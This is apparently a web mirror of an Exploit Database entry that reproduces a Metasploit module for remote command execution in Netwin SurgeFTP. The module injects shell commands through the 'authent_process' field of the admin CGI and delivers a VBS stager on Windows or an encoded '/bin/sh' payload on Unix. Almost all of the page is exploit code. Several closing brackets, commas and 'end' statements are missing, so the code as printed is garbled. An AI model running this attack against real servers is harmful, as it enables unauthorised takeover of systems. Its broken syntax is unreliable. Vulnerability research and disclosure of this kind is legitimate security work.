Netwin SurgeFTP – Remote Command Execution (Metasploit)

Exploit Database
115 阅读

作者： Metasploit

日期： 2012-12-23
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/23601/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::CmdStagerVBS

def initialize(info = {})

super(update_info(info,

'Name' => 'Netwin SurgeFTP Remote Command Execution',

'Description'=> %q{

This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8

or prior.In order to execute commands via the FTP service, please note that

you must have a valid credential to the web-based administrative console.

'Author' =>

[

'Spencer McIntyre',#Who found this vuln?

'sinn3r'

'License'=> MSF_LICENSE,

'References' =>

[

['EDB', '23522']

'Targets'=>

[

[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'}],

[ 'Unix',{ 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ]

'DisclosureDate' => 'Dec 06 2012'))

register_options(

[

Opt::RPORT(7021),

OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),

OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ])

], self.class)

end

def check

res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})

if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/

return Exploit::CheckCode::Detected

else

return Exploit::CheckCode::Safe

end

def execute_command(cmd, opts)

http_send_command("cmd.exe /q /c #{cmd}")

end

def http_send_command(command)

res = send_request_cgi(

{

'uri' => '/cgi/surgeftpmgr.cgi',

'method'=> 'POST',

'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'],

'vars_post' =>

{

'global_smtp' => "",

'global_restart' => "",

'global_style' => "",

'global_bind' => "",

'global_passive_ip' => "",

'global_passive_match' => "",

'global_logon_mode' => "",

'global_log_host' => "",

'global_login_error' => "",

'global_adminip' => "",

'global_total_users' => "",

'global_con_perip' => "",

'global_ssl' => "",

'global_ssl_cipher_list' => "",

'global_implicit_port' => "",

'log_level' => "",

'log_home' => "",

'global_watcher_program_ul' => "",

'global_watcher_program_dl' => "",

'authent_process' => command,

'authent_cmdopts' => "",

'authent_number' => "",

'authent_domain' => "",

'global_strip_user_domain' => "",

'global_noclass' => "",

'global_anon_hammer_over_time' => "",

'global_anon_hammer_max' => "",

'global_anon_hammer_block_time' => "",

'global_port' => "",

'global_mgr_port' => "",

'global_mgr_ssl_port' => "",

'cmd_global_save.x' => "36",

'cmd_global_save.y' => "8",

}

})

if res and res.body =~ /401 Authorization failed/

fail_with(Exploit::Failure::NoAccess, "Unable to log in!")

elsif not (res and res.code == 200)

fail_with(Exploit::Failure::Unknown, 'Failed to execute command.')

end

def exploit

case target['Platform']

when 'win'

print_status("#{rhost}:#{rport} - Sending VBS stager...")

execute_cmdstager({:linemax=>500})

when 'unix'

print_status("#{rhost}:#{rport} - Sending payload...")

http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|)

end

handler

end